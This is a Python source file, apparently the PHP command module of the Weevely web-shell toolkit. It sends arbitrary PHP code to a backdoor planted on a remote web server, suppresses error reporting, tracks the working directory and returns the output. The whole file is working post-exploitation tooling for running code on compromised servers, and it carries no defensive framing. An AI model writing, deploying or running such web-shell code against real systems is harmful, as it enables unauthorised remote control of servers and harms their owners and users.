1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
|
from mako.template import Template
from core.module import Module, Status
from core.channels.channel import Channel
from core import config
from core.loggers import log
from core.argparsers import SUPPRESS
import random
class Php(Module):
"""Execute PHP commands."""
def init(self):
self.register_info(
{
'author': [
'Emilio Pinna'
],
'license': 'GPLv3'
}
)
self.register_arguments([
{ 'name' : 'command', 'help' : 'PHP code wrapped in quotes and terminated by semi-comma', 'nargs' : '+' },
{ 'name' : '-prefix-string', 'default' : '@error_reporting(0);' },
{ 'name' : '-post_data' },
{ 'name' : '-postfix-string', 'default' : '' },
{ 'name' : '-raw-response', 'help' : SUPPRESS, 'action' : 'store_true', 'default' : False },
])
self.channel = None
def _check_interpreter(self, channel):
rand = str(random.randint(11111, 99999))
command = 'echo(%s);' % rand
response, code, error = channel.send(command)
if response and rand == response.decode('utf-8'):
status = Status.RUN
else:
# The PHP shell should never return FAIL
status = Status.IDLE
return status
def setup(self):
"""Instauration of the PHP channel. Returns the module status."""
# Try a single channel if is manually set, else
# probe every the supported channel from config
if self.session.get('channel'):
channels = [ self.session['channel'] ]
else:
channels = config.channels
for channel_name in channels:
channel = Channel(
channel_name = channel_name,
session = self.session
)
status = self._check_interpreter(channel)
if status == Status.RUN:
self.session['channel'] = channel_name
self.channel = channel
break
log.debug(
'PHP setup %s %s' % (
'running' if status == Status.RUN else 'failed',
'with %s channel' % (channel_name) if status == Status.RUN else ''
)
)
return status
def run(self, **kwargs):
""" Run module """
# This is an unusual slack setup at every execution
# to check and eventually instance the proper channel
if self.session['shell_php'].get('status') != Status.RUN: self.setup()
cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.')
chdir = '' if cwd == '.' else "chdir('%s');" % cwd
# Compose command with cwd, pre_command, and post_command option.
self.args.update({ 'chdir' : chdir })
command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""", strict_undefined=True).render(**self.args)
log.debug('PAYLOAD %s' % command)
# Send command
response, code, error = self.channel.send(command, **kwargs)
if self.args.get('raw_response'):
return response
else:
return response.decode('utf-8', 'replace')
|